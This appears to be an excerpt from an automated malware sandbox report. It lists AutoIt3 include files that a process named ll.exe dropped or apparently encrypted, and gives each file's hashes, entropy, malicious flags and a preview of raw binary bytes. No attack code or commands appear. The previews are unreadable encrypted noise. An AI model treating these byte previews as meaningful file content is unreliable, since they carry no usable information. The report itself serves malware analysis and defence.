Category:dropped
Size (bytes):27967
Entropy (8bit):7.993572911211394
Encrypted:true
SSDEEP:
MD5:86EAEA6F01B8354C0CCAB3F38B1116B7
SHA1:465A927DB561EAED64A109E51174770B97F2572F
SHA-256:31701174B9779E275E47305DF97FD3658CAF45D79BF9821EEAE536F70B232551
SHA-512:0F582C0D0DF07A63227D3E83D61031ADBC771361181C19CB42708D19056645AE877015176F86F6AE4FBEBF54D85DEE6528DD441E8A8C10F6F1C905C7A8E52A35
Malicious:true
Preview:^..TD,.Y."<....H0a...Zg.....D...f`..n,...........b=lZn...PM-...^...|.&.bf.mMHvf.........\....R..G.)..\G('!F.w..;.MP..~...N`..k........$N:......"...c...;1.p7.m..6.+.h....../.. .."......Ed.}..f.:.uL....,.....Z.r."=...%.N.SM.....UP.&.....S}.....dv.|...._...~iC...,X>..S..{..H.I@Ad...-`Q7....z.3.u...c.t9Ds...o=7$:....4Smgb.%...*..S.,..e..a........L..j.U.../..V..%.f:.]J..um^....-......]....z7f..3...uy.".....3.!>..q.o.@.U..K*.k#........4U......a.(....!...S_O...9..:...!.....H.w>...~M....`v..*.......J.f..l...{.nS..+.|{.hN..,z..".4R.L.>.9M..C..C..APE......*..;.f9..4.J.N7...U@.6_N...z.VA6+..=..2r..q...#k.A.=..r..<...E...=b.......J.r.v._.....&.,...xS/.{7.O:..U.J.....8......=.~m.!..*5U........,.X...f..X.y.B.r..'.Jl.S1.9...=.J..*.O.z.Q#h/.sZ..=.}...O...K..I....4.M.0...{....dY..M.C....GP...H..^.s.....Fg...T1=X.V.j..;.y.......|o.]oi..I-[..}.<B.Q..v5Y.X..6......^.gH....$.U~..v@...7...0.../i{...D..K.A...\.7fD.g...f.Rqq.L.#..s.. ...9I...+...).JU.gj".W7.W

C:\Program Files (x86)\AutoIt3\Include\APIGdiConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):19956
Entropy (8bit):7.990840746556524
Encrypted:true
SSDEEP:
MD5:8455E6BBD9B7C4679790EFE693F8F54F
SHA1:3C519B99916A0CDE8B5B9BF7E9B7D3D1B26A514E
SHA-256:8264DCEFC39DE2FE95DB70D014EAE347E0FCE05FC076098D371B0A3CDD8F3DF0
SHA-512:D28D5D9B417851D591A733377390961C78A5AF705A6F11F1E435D5DABC915E9EB8F28F595438BE5BF93574F55CE9F2A2651BAF554A68ACF3BD1C6202A70F8E12
Malicious:true
Preview:.b.-.S..N.......'=...B.GH.......3.-..H.jl.....m.w...&%<.....6.DJ.v.....{Z..3.........E.s...3.u.Z7.|..y.,......ZI.=6f".9.~..T.ugd(.i..;L.Xd..8.".Aq...jZ...2..V.Gr..o...}P.*..-...U.=...........1..DX(..+...e.F^;eAf..7.'...pi.l`.+.0..........&.Vf.*............nxw.\5.....JC.kM.'..Mu.a.gWu..L..\......C0;....3...._.A........D......:r...=..Zh.k..4(A.J....>{..-nT...Y..^.....aX*{(u..~....s...N..e......-.....W..,...1ZG......v#.m).B.5g...|.F.jR.O...zlT..]nX.Y..|..n...Z%....O._.CF#+F1S....{{..,..........ycS.uX.|..Z...7.h^.aX..@Y:..j.1.K..".-.7'6}.}=..h.A.#i....?I.c.u..z1`.svb.H..H:6 g.......&.ko..B.2..J.oD.....K.tJ.A.y.-..;8...wJG0.. ...N..Ww.#...#;....=p.'q...} ....q....cs'.<zR...o..k"....:.V.7!...(.,{..U).h..Z.bpV.)1F.2.\...i.M.%tJsw..nPP..Y..:3..Q.-m.......#......+.8..9.D.`sq3...p...R&,.....y.......Q..F.5g..../.. ..(..J.+.b...#_5g'Vd...g...5$...~....J.l5.. 9r...D3.xTc..u..!"..K~..,d.c...."./.\..G.:..1..tz@ gf..c..TL.*X.....z......}.*........"b.Tr

C:\Program Files (x86)\AutoIt3\Include\APILocaleConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):8291
Entropy (8bit):7.976080893923665
Encrypted:false
SSDEEP:
MD5:C39CB55A83CC1F5088BDA47C96577DD1
SHA1:8686C044CCB753C7D8C751C1AEF456FB33B4CE05
SHA-256:29DBBB67478E8918D969030BCF0EA744894201F2F8D8FAE974A1C51A94CCF436
SHA-512:C1DD493EDA91A4EAE5394A0AF11AEE026E4A6FD7606C9975D37776A87EFE1A9C7D7F9955336249F4F5798F95BD176D4343827D66EC25F59BBBEE71C30E1579D7
Malicious:false
Preview:..*...>RY.. <.e..*.<NE.WS[|dD..{.U$....%..D..X..k*...|\e.R`,P..a=...E.....h7H .M.......B....VGH.a..%...f..[2.ta.[$.-......V...W.g0.].n..Pm.}.....T7..'...5MJ.P4TW~.P.q..vIQ....6.\.&/5...O.t..9.JO....q.){..j...../2.N.Pi.......r9{.. d..J..s..,.zY..P$x.n+.3.V...t.*.DN,aT....N....h...z..z.......=.f.....,.5H.8A.*.0...-.@x...&b...0.S..e.a..]...K..#....T.u0:.=.....h.7D.lF....1..x...g....c....(88.4}Gz.p._.Z..i..yh.1.&....]d..RJ.............zW0..\Ow..'b..0n.....`.._.g..x.G.M7N..Cs.....a2..1...Z..|.....J.>.'..(..=.5.=...........&z+...m..&../`/.....:... .o..:.u.).P.I./..D..A....-....mm.m.,.Lb.M.DN$...z...+.4.O.C.....`.)...u].;.\-/.R..9p.3..r:....s;..3h....n..9.h>..E.Y.#hr..y..p..<......7.P.g/..G.....x.$......".Q....>.q...aO.~....Gt..@.d.}....^....B...Q....)..p!.meo..lz.....K....>%..@..e....b....^.3G.g.a......L........./...s..C.E.t..[.=-r%J'..x.9.n.3...`.@.........}.I.....(".h.K..O.0@../{\.....0lV......+....!....3^.Z..?..U...k..h.@...E.Z..~....&.....X

C:\Program Files (x86)\AutoIt3\Include\APIMiscConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2413
Entropy (8bit):7.911528024623418
Encrypted:false
SSDEEP:
MD5:0298044DCA82E325F9D3474FB150D1BA
SHA1:9385CE36BA6E178F4D67616E790888AB0FC4BC21
SHA-256:0F6E5AC4E7A6B4AB0FE346F8F34025EB074F66FB900B166A531F3022BD02DA58
SHA-512:FECA867E2DA6FFB069CEA72B3B3011197EE769757013EC0E3D17C95028262B7D6BFC201DEB68F3A8C7A917A5EEF491C9DEC144A2804BD657383A478CC9DFBEFC
Malicious:false
Preview: b....YG...(@...Nf..........on.6...&.v....!...t......&......V.[ep...q.j.{.[...9...cn[.........m...s..T.....R[...&...d6..R.74.%c.?...f#.H.G8...xD..Ew... O.R.q.....0.._...._.3.......L...4w.......(.3.{.S...z.>}.P..:~..9......6....E...j.=N......"(..^.Z..:h.....:. .m..x.a....pb...k..x.}.].#B.|....GZ........A5..m..Nr'.L.c:.).+7....Wo..2>\(.+...\...M3.f...........*d..*...`.T..W1.9..<...4....G..B...A{h.?e.......U..pK..cB.v............Jky.../...rh8.2C..X.h.$......{b..I..t.w....ZI......;-5Y....r.0...c...$L......./=..$....4.......T08ZAi.q...$KL..r.....K.....E....r.....'.M@..)....Bnc..CU.#.<...........E...;..C._..)_7.-.B.....k.X.r.j...M.h..j.....NGT.......@Fup....l..K,.....2+nE......E{..|.c...u.J\QF..1.....UB.e]...:.d{..?s..%,.../...../.'...X.m.Ab!..|;)@-u.M..O....X.....t..%........%...y.K.\m,..."cj&....oj=....d..;....).......E6.K9..l...."NE...).D&......._.1J.F....&4.Q.....N.A.).{.......$9)........4......#.y.+R..#?&...........).a.p.7.,...

C:\Program Files (x86)\AutoIt3\Include\APIProcConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5645
Entropy (8bit):7.963568392461816
Encrypted:false
SSDEEP:
MD5:9562C71C5B678442735960FA21A63433
SHA1:491C383781D9E3CCA587CA4D1832E8687088DA52
SHA-256:1609E01E999CF4A99781007A3A0006728780A026CE555C3F0E85EADED4837EC0
SHA-512:45519F30C5020D10AAEC2688983684D75AE747927A122D133D8C44B690A70854D7A72F496CD39BAB256BFCC25548996517C2E1D513BA291833CEC0109BCCDDFD
Malicious:false
Preview:}..D..(.n..J.%..n...fm.0.O.nx..:.o..].U.x&..{.........8."/X..Z:.........z.]h..Y.:wo.~I....sa.%..............J....f"l.`.....*.F....U.^Z.2+O.U.y.*9._.s_o...1........T......2.rq.MR...y..CB../o.. .....u<.7.y4Y...k......&.....g....4-......}{+q.N....m..y]."4.X......=&...9-M..<.W?......Ix..;n.6..G)[..M..4.....P*$=^..{.5YcI/.U......QN.1*.3 ..u....w..U.B..7.'..3.....R9N..8.g.mk$OKI....{J6...$...^e.^j..?..l.........6`.R.`1k.....(a.........w}.x. ... ,ue....;n.A..#.&../j.>.....1r%k#.U.B,,.o.T........5.....RNO]t..%.2w..r.z.;R.q....!... k...... O.....MJ....#.%r.. .s..O.....#.Ej6a]3>(e.=...f.w.V..2...(..K.....^.D.s..rAJn^.D..z.Qj..fk.-^.._...;Z.O..j......+q}.B9/..:"....J...TU..x.+:[..G.6(D..(..........}.3t....~..6...A.6...F......{........JR.y.....@..J..a..G.?]+.g..e%.<Y....d.......+.L.+.h*..y...\.kV...CvR..k.s..;.......K....Q...:........<.*...e...'R.ktR]...........{(Q.b.&*.7L..........pI{."...I....hm.j.>.l.fo$..[l.r...s.......f....X.5.>.g.?.

C:\Program Files (x86)\AutoIt3\Include\APIRegConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5093
Entropy (8bit):7.963264592040109
Encrypted:false
SSDEEP:
MD5:78C9E63CA13A674DF274E235DC3DADBE
SHA1:B72FAAB6D9A88CE9BCA2F3D60DD154AA9A88C9EF
SHA-256:D78732CFE1C098B26DE320DE26956EE9A5B68E02E94A1DA84A615CC758B63F57
SHA-512:5EFF9E5499B1F8A309EEA6527470055AA06B5B4DBFA5094FA77729479F559BCECCDD159E238BF5B8F4730777140C7BF6CC9305246EF6FC57F4D35F1948BCC3A9
Malicious:false
Preview:.e4uz+?1QOQ[!.P...[>.....{.n.r '.......G..8.f.....XD.....0n.A..Hh..v............X..f.Xz...f....eC.Z.?..%5....8..nr..5.%$.Fu=])o..Z.'{..AAb..=..Np...eU.pW.\o}.2...}.......F..J.s..H...B....7.s.e....e..M..2..DZ...c......eJ2...\.y>....m.{..F..Y..&..jQ..7...F\.....Q..q.=.`.S.....^......Efh....x....cqf............}*&..X..GoB.~..axz@.w8......F.\...w.nY]..8.O....j.. ...-C...]-b....+..[....W@.....9.X.A>F@?..1.MF..V.Y....*ta..qQ!.A..+[%-......G..AB.:...ll...-.....{ ....2.._.+..?........`.j2j...W..~MG.k=.*..=J...y..!......w......t4.....|~3{.E.....#..aD.....*.`.kI............[2 ..>...A.....E.X.P%1.3...Rx..y.G.|3....8.b...wtz.f..|-.>{.'.We.4YD./,.+U..@&I..M.....k...7I...<^y..f.L...#..b.....a.&F".9on~.7.!.?....Wh~D..U...,.KA@.h...8...0..I.F......R.".....^H/.....JhDbL..4.F=C=;qK.Q....p.N...Y.]..p.{......b.GT.B.oT....R.tL...`J.....v/.m.(m.....>.&.,...d..q.WF....V!<..*b./.I...7......R ..FEm../....K..0....L.C..#33.W8..=.7q..H..U..c..Qa.5P

C:\Program Files (x86)\AutoIt3\Include\APIResConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7019
Entropy (8bit):7.97403710994822
Encrypted:false
SSDEEP:
MD5:227C3FB2FB83307916FC449036E75F9D
SHA1:05BD8960B3C494C809B0D49D3DE4552A7BB35289
SHA-256:68B5019B637EE3B192DDF52601239455C6A85989AE22FB18141D75CF56CC9D83
SHA-512:1B4E158F44AD5AE162AAAA12C5998EEE999662FE147B2047631B295ABAA1F09D09112388A146D3A5F19629CE99A8CD9E0862E835F5677BC9BD3417ED84C83C2E
Malicious:false
Preview:#z:h.;...>..6. ...Oy..)..ZPd..N8.4m.......E~.3@.J...m.?Mg..n;j.{.{E.wy..2..k.VZg.......d.i"n.6.._.#..I.e.J.5....H6.~....VU...p.."x.1..L/...C*.5...(Z.J..;B...OK_..4..H.....b..]Uc..*l)..w.#...:i.+.....e.].<...;...O...I.....U.q-$.S.....m\K....e.f..+..])...d,...f;`.b..o.m.X.(.i.#.$......./.....'`.....j...,9...w.....v..t..i....9!..u%..:0...KT..........Ab......F]...w.7..l..b....X&..Y..&...N&T...{...2b<.1.X.....'.K...|.;.T.cj.(..h.3pkM....^.n5g........l....Pr..[w.f3..Y.......b..I..e..t!8H.$...-.n.....eF..?..*.].S..Nl.h.il.>.....f.'...&...v...j..F...L..u.3.......u.....F..a.o...8P.;.&[....W[.p..6.....D@......d#L+].....`..T.E.....=..7.1!zc.~)G.....e2..........k....*...@.\.7Z.6&m....g..O'. ."..,i)>E9<A......P.2+<}....3......@.Z..p.x.t..X%l....)..J&..j.hXUJ.-A........b!..eb..2......._[."x/..c.T.Z.F/@?Y=.H..^.x........U. .<.j..*...z.Vl8....c.3sJ.>.E...<w....(.^.6.Y.J.J.g.3.9...L.k.C..G.......KK.V......^aWz#.....,....[.=...}.U.e..T["V..@..}.

C:\Program Files (x86)\AutoIt3\Include\APIShPathConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3705
Entropy (8bit):7.946179238543873
Encrypted:false
SSDEEP:
MD5:D636B999BDDF08C1BBA78DE5EF8C26B4
SHA1:DC3D21F6D3AC45595F1EA146B35D393BC51A7D99
SHA-256:071764235C4CA1DDF4120AED234FA16CE6BE11C41FDC077B18FD626120C7B0AA
SHA-512:6C836058E5D018BEE3371A36259A647540F68CF3FFB8526EECB7BB2760EE0649A7041803D32976DE4AF5E71623907611FC8BE92985DD8FC7E6FD489E7A5C4C1A
Malicious:false
Preview:s!..k.6.c...1.,3....1?K..1.X......;..j...i..C.H....../.%..>....%..\....d"Y......}..+...3...k...../SX..h.........I....a..4.9.....D.4.....e>.....Xph..R....[0...~..^.H.m.$.s.H....=Iu.|.......f.....z.....Z..'|.J.#.......WuM...A....&..k..Z...yT..\T3...A.xj.Qk..Lnk..I.;5.......oq2o...RK.....v&#.).`.]-.`05.c.......}.g.#D.r-7.C.%....J.*.SX...j..B..>:_]x..........A..K. J.B..D8n..C...w..T.cIlv...H....X.i;..I..1..G.w.$9..o6[`[.........j.....v...n..(.A...C......2.._T'.)..~..6..hgj.*8.:o.B..6.O.E...>..._)......DO.......aZL6.[;,B..:..YKt..fQAh........G.5......//....nr.-......_.]]......F...$t.......QPO.:..E.mT..a5.i.@J.k.+>.P.....h....3.)z...Y{A..?/6(..O....z.V4P.._.w...0......;y.......... .....M.=`/.R..p.Q......8@9k.#.?..&2..-.r:......J.....6.g....2..!..G.Z.i.....{4.X.$_.S....7...=U...{.g<5.-M.../...+.>.&......J.."qE8.....1.._....aD..\..&.Z.M...C.......M....5.#.:.m..........'k..m......{Y6.d2..Q&~.P .............eIv.d...g................P.^..v..

C:\Program Files (x86)\AutoIt3\Include\APIShellExConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):33643
Entropy (8bit):7.99436302096228
Encrypted:true
SSDEEP:
MD5:9B299064B0A879EADB5331591265F168
SHA1:27793D7F77EA222AB77D6F175AA901EDAB6A3675
SHA-256:8F565BAB30F01F685FEFE8C966CC9D5C818776C1349BCDB2783F2498A56B216C
SHA-512:6F98A183ABE4143C6A4A4C9F5C6FD6A679BEA00334FC6C6E23E85019BA9A24F8A3585837AEC668D5A55DDE7DDD0E6D70AD6424034B489165012E0C3C03ECACCC
Malicious:true
Preview:E.N.Q.P.L.?./L*...|..W...y..".........c&i9..%.7.......^Z.(..U.i(....yd|.z.u....`..[....ZD.)|..p..q.tu:...:.....7/\0..v.0fJ....u......h....tz....\.......2.Qs..k...+.wwA.....j?....;...G..8...e.....v7...H.mi.H...l.8.....g,B....9..A}Rmd..M......B.0..b...@k4......)....h.;..1.}..X.g..x#.....$ .c.........[ac.!..zJd.6..B:W4.u..F....Es.4.fg.b...........c....{.].$."3,.9f...b...j.3.....{$..M.T]....)?..6...p.U...rB..W...*._*..KT-.c...H...e.'.|^F.u....rf.Ad..s.M..V....7.L..c....:.H.".......I...GpU.C..KP..l'..h.{.BA.....#..3.<.Y.....DW..4..~:g4.......a.!sIH~t3G..f..q..7.O.-...+.R".OE........}o..:...Nki.`.N.....)..5hI:.'..q..&*l.?`.$~.1.p..........:f....e.,....A....q.R..Ls.@.B.v....]^.....SG.\)E.D&.{.......V.)s>V.O....C....g..>.P.. ..Z..'_..#.XG...n......n.).[s....g.....r...,N...(6.....&...R.(..hi.q..2....3lei*.a.....{..S....n^.L>AW...@....pv.K.x..#C...`~.[.4..] .A'....E6L.>Q...n....2..]{.]H./\I.3.q.I..R3\...d.U...?h.X...o. 6..J.@.H.1....h>.l.5....

C:\Program Files (x86)\AutoIt3\Include\APISysConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):16746
Entropy (8bit):7.989452111831191
Encrypted:false
SSDEEP:
MD5:22BA666CA1469B2F9DE7A36E4EB13720
SHA1:5D6985D1CBDE027D5791DDB61675230AB8936B32
SHA-256:21EAEA4BB41FC6002BCDF13A1CA937FC950CF0E9F879D4BBEB6A43068388283C
SHA-512:2B20673DC6590308FB7CD1CF2018E14D295C2D63BFF40697CDFF74AE08563383DD91CB0F5D5D27FD8C2F7280631D993E1FA756C68ED539366F01AC244622A32B
Malicious:false
Preview:hP.........N..)/.>....3.#VLv.=.v8..Q.Z?....JW.....8.VU.X..H1x..M...:/l..2..\.y.tqT.......*.t...g2.H...V.*....o9.]c.=..-..e..f.b^e...Y..3R.....c0)..I...Xk.T..E....dR.P_;#...P.]y.)..y...i.........H.-%}.K..3-....5..<.~.SNaE..Exj.II.w..8k!.}.....LD.....eW.m.F..g.Ao.0..S...P.2X..H..!./.E...F...........y.t..+./|.g.5.({1U......l.....m)g..........n, Y.U...}E..n...\.5..^.K.t@Q...&....R.<.O"...p9.>.....@.m..4...&....e).G..M...x......`W.e].m..^D. qp.EX.y.....sT.6?../.,M...K./|...'W.........x. 1...9]T..Pv:-.i.*F..-....Psm....wm..p...Uw..R..|.........+.q{SB..yx.{.J.../.D....?he.s.S.s,R.'E.8..|....o.B. UA...#^...E.m...A....8,n...V....tq..m)N..@..6.......$1.u.=Uq;..Y.....k. $}.t.zU@.....g..*=_.G{].1%.......1.NDI.A'..n..P..A.|..n..J.yi..2,....2E6{..l....W.a..N.>\.u..|#.-G....-.3.C.i......tKDCc.b;....P.|:{...v.>..Qy........2...a.n.......E..o=.&;..g.M.`..V.z....!g.p}....).z..e..g..H..qJ.vR{.S.2.-...K....I...(...V].[....=?..'.....$...Z?..~kH...*.,...M

C:\Program Files (x86)\AutoIt3\Include\APIThemeConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):12386
Entropy (8bit):7.984051273624062
Encrypted:false
SSDEEP:
MD5:5F2FCE4FBC2B2C1199AAB95170E519D1
SHA1:6499E1FC286D4D7AF3029FABCB19273AEA6EEACF
SHA-256:1F01F8A00E66CD00150FC300C958EF27104878B851225AAAEB86DEF67D3DA97E
SHA-512:4C1BE70B01AE83A275F65A0985810DA8BD18CC6771D0FDB6CAAA6DC432DA9194A5EC31AB1F7E68A33820219E6E5BBBBF3DBE14CA3DCD2DEE32944784EF3DE696
Malicious:false
Preview:...?.P{....F..../..j7....P....w........<@.Ywy.d...y_......=);._..nr......C...h...2..)wF.YelR...s&..k......V.J..H.e..+..s.................DU..#.V-.1Lj.{...cG...k........B....:l.'..4.K...... fI.....U.3.g..;o(..7.....:.q....z.lqc.5....u.....O'8.LF}..S... ...U..ES......A.y~5..K..f<..Kl..iM\"_..J..-.yc....zP..o..S..r.#.._5.o...+...sD:.nb...DV..Z9*...(]M.r\..9~[......_.G5D}W....m......I/..Z}.%h[t..%..*...!.4&8J.9.....Z..(}..o.."..*.\.:..S...K..=.tj.l...U>.0.)...b]Q.R...\.Q.e+bb.o......?_.M..[?...Z(...Lj-5..#x.Qh].c..........{...3.Np.2.Q$..-E....x~+.....K.....z V......p...H.. .:."74Z.US....._......{"m..3."..N{f.X.n......}.(..8..1.a8.D8...1ao._..:..B...$.r\Z.R.P.q8...c .E.W......=.6........C...*.n.9.W4.z.w.e......W.]..........g...#.@.S....^.9...6V.P....[n5U .S..;..#R....Sz..RZ.......k....na./..L..i.>2.R.hY=.Z.KJ5....#.5..&v.....t_g.c;...)x.r)..m.|C....8.ms. ?..~.....R...#.s.W:..5.%..$wc...j{J.u...U..l)....`\<.......4F.lt.Y.J..[....lC....O.

C:\Program Files (x86)\AutoIt3\Include\AVIConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2117
Entropy (8bit):7.90430038221163
Encrypted:false
SSDEEP:
MD5:F5D22D5ECBFC95830D308E325D3ACA9F
SHA1:2109DBEBCECA700A857E7B20F78F5B17F11E8ACA
SHA-256:CA15682162FF8993693A0EF6829BE11D42CC4B8B6F90C07DA082B16EE627C97A
SHA-512:229A1765004CE7B5ECF585427EBC6ADDC222AC91EFCC626B4C662B5D535DC76D756EA3EA379975956C8613DE3077E496ECDBF5176E6328A206AD642FFCD8E991
Malicious:false
Preview:.m%.........p.D.(i..>....b....EY..,%6.|. "{..v.1.R.!.!.JQ>(......T...NE...2/.$<I.p...O...)@.!Y..D..x>D...&.AY5.Z.c....6.OTdj.N..:F.e..d.'{..C.e+.;#.....A....y.v.a...h..>.L......j....6..v5.Vr..W...k8~...6.c..i....N6....=(..M;.$...E)`.<...X.L.......gu.S...4.s.j../...i...=|yG6.Y<.....o.kd...V..4.@....0..)t.~.ud.._.h............*.Z.R%..G.....Z)..v..e:..q..v..N}....2.....%D...'..7h.&.\r........r.....[.2..epjU..3...P/N_......a...j..b.Y.A&IB.k.[....u...m/....|uqi3..P..A..D.y.X.4TY...#.....K...0.a...+.c. .Y..C.):...$...4p*.T.A..V..m7...&..,%........PH}k}.a..~8.....}...%_G...uN...E....]..IK91;,.+.G-....p.i<.TRk...c..x.s.u.Z.d....|N1..R......?">....k...sE%.r.s$n.tB.t.Uw%~$.:c...j.7q8K@.t[b%...a+l....(_T<.....t...8...yGZ...........Q..%.o.Z.@.U6K*4..f....)F....e..O`.-...o9%.Q....Ic.O.2vq.E.k.w.@...^...M..QeZ..d.V..3...av.s.>.I.At..^.8............a.Q8/>.M-..c.?g6...J..I.R...oW.Y.x.wF=C....d.{Bg.:.z..Z...1d.& ..AS.".{d.E4....NN`....6..~...fDQ.2.0.l..

C:\Program Files (x86)\AutoIt3\Include\Array.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):81595
Entropy (8bit):7.997712728353631
Encrypted:true
SSDEEP:
MD5:53868B3ACAAF13B0107517178C850393
SHA1:AC730A744472F9FBE574E44F7B2739778D7AC501
SHA-256:1A6BCDD8C6DB378CC06932231129733A795A4233A6D109C490BF4DEDF074CDC8
SHA-512:7037E0A12196DCBE476815E60EE1A8560BAFDDE6889508F32A1E007229148190D643A6CAFBA0D84331F2E627499BE1CCE60BFB734FC406235F3641632BFA29F4
Malicious:true
Preview:.R~.\....t..3qUMoO%..G..2..&O.L..s........p}.......k.an..S..Y..^g. .L.{9..7.............C.K.e..m../.\tujA..z`.l..(.......\(.N......P5...}.....CD.S..>B.(.[......ZE7...O.>.[.;X.....+.....|6......C......q..Y.Y.....VW.vc...[.Zw'.`..r.'..5...o...K..O..c.7fy.....9.Y.MP}...Bo.3:....O..X.v..H>|b<.+f.......{.T.q.Y@m.b....\|.X.D.....L{.,..7.q..f.F(.._.....fGl.7M...x.B.>."...<...[.x..E*...1...U.I..z...N$1H.\N.....OO.4UgnAU...........|.k...^V....5f......UC.#O...U.:_.~DA.....L.#...ij.......9*|.....eyu.p.....J]...{.j2.W..F,`...;QU....a..i.O..\ ;.Y.\3.x.*-......YJC.M.O...m...Y(b.B..-Y......o.TB8....u{.0.z.I.Fh2.UH.?...yt.....{...F!...a.........z....].....hD.tiM..;-..A*9Z..........)..<...]...&t...&.8.....~6..ul.....{.d......f._...W......U.2...=mZ..D..GO2...ma{..5M.lyt..>Ai..q.HAH..7....SOY.1%C.VwP..}.].3....y&C+..e.K/(.]..^......%...-...d..?..r}.6.;.........FA.C.....M.....".1}5.J.k..z6...a.908.. ..._.o..@..G.......ab.,.m`...T.nm.....W..M..\%.

C:\Program Files (x86)\AutoIt3\Include\ArrayDisplayInternals.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):33564
Entropy (8bit):7.994488205007662
Encrypted:true
SSDEEP:
MD5:F7C31E82373E200EFAE849F499F9BF66
SHA1:DDB2F285A24F6825922497B02AC0A6108E0A3CAD
SHA-256:E1E44767B06D0E0DD44CD02BDAF39B96BC024699A5305F809F7209A7DB2281C2
SHA-512:6EE75FA6E19459E048E2A7B551EC15EC70A7FEE8356DF48D4CA224706F38874E5B7DCE070E8FF1F3E608367B2DF71447F2FF3045E186940576ACEB1A47A2D446
Malicious:true
Preview:.!.u*R2.&V........B...j...[.%..m..y/H........(..nz..Z.......u.*SgK.c$%>...4.@..v......3..{h...z....-f,.*"=..b. o.....K.h.F.T,K.dj..8v.......k.I.l.....}.B.B<].....7N|....E<eSd.Ep.4.m...LH...,.Vq..p.t....H>....rDLD.T..r..n.B.I.k...........(.^..3O...Ak4...S.....f..........^.(2..j.......,.xt.{.f3 .Sa..>....m...........h..i.D[......R....,..7hkayW/Y.b..Q...Fw.&.f..Fz+.!...I:...`N....B7WI...$..{:j,u....cX.A.|.....D...".}&.#,..v3.p......).....d..9J.@.?..KiU..G...O....7.....]b..o.>.95f...X].6....(K..zd/U...M...!{...</6{.,M.|.....s...\..$APG$...r3..T....5v.O.3o0.G/.D....B.p...N.d..._.^......-O.e.....I..Q..<=......$j..b.....jV"m.....Z~.g...d@+Y.*p[...L..1... ..(.Y.d..V4.j.2.W...!Y.c.0{.$...?A..66|...k=T..L.Z.e.....{%....Yb..ff.N..._.[b[.A.x.!ru..-Q..m..Z....(..T.T.H.k...&W$...Lhf!qdv.08..Z.G.c..mH.B..7m..T.p....T ..e...i}...=..<.../..`.R0Dg-.. (......9..f.Y43.........S4...3..}L."#.R....L......|..u.......hr..z'.EA...gQ!..........f...;...y...>...4..M%t.

C:\Program Files (x86)\AutoIt3\Include\AutoItConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):13757
Entropy (8bit):7.9886773704311675
Encrypted:false
SSDEEP:
MD5:12E0EC700F3B2A9061E6E36C918AB0AE
SHA1:1E3347DE02E0E5130D4EAEA37EF4917BC3D712D3
SHA-256:0667335D78B0985B96DDAFBC37B4389F13768279328FF22FAA507DA2CB611D9F
SHA-512:20CF4F1EDFD424F18E81CBD067308453DEAC37DD7C0A75690D2CAAE56DF3FA82EABD111B618C2F0416F842D29614E4B271630283ABBCB784C9675E4D4529BF65
Malicious:false
Preview:.=..7.....1.n.9.....#ge.... .......1 .3j.mi.>]J<.E"/..&....-C...s2..ZO...q.....unD.6$..Cd........] .&..!$fLH.......8x[.....Ol..xj!Ku...u.o..B{xR...;..&..}.!.{xlG..'..XQ.,......l.#.l..fS....zB...s.t..r.).3..W..i.L..Y......Cm...2^...y(.&\Q.w...B...*..K5.....m'..V..E.h....G.).:....4.n.N2.Pn..0....Z.c......i....i1.....=.]Y.2.c..)...L...f1.....e..@x....b2...{.=Z.,..x..wp.x('...2. #JH.U.=.7.{.:...fj..B....#k.l..)|n<.(..e...s.w.Lo.z.T$S.F8..ry.0..L.&....5_.).JZ+J..v.".-yt..X.....|k.<.b3Cg.U.O.....nfY......Z1yp.2#..|.A.....A#:.*.vW&m.4]..Q...X...@.M.')....i.,H:L.0[..i1.D9.....*.........\K...+[.j.H3.-..U7..O..39[...<....|...-...)+<...I..`yZ.vD\..s.A.........,.ow...J...Y#..T.).Q...3S.J.+P.m..7....F.rAE.H.)\.....F.n........5..s..1.....^..].C.#..W...sR......C.PT[=.J_._..T.X.$RRS5...........i.y....l...J.fq.....&...x.K.Z.H.=.....r$.wwo..I..O.;3...j.M"i..#v.;.j._.?....<.isM.?.Qx9R.6$.......}.......|.]N..D".;(.M......1..y...%..X./.j`.:..

C:\Program Files (x86)\AutoIt3\Include\BorderConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2654
Entropy (8bit):7.923822532339358
Encrypted:false
SSDEEP:
MD5:73A1C777857C1060675370D09163FF5F
SHA1:745A22C20A3EA5C7ECB193713F15661E5AE7B3B0
SHA-256:11D4C31D955515F1D9887EFBBCECC2924B1D7F9416DE9E7E2D09205F1F376CE5
SHA-512:9097DF42B14B3BFD8DE836BE0AE976571113957BDBFB4A23D16EA38663735289278D508B789F728AFAD21B7AB8B5D282D682A2979ADDAC5093F5F0FC75CBC864
Malicious:false
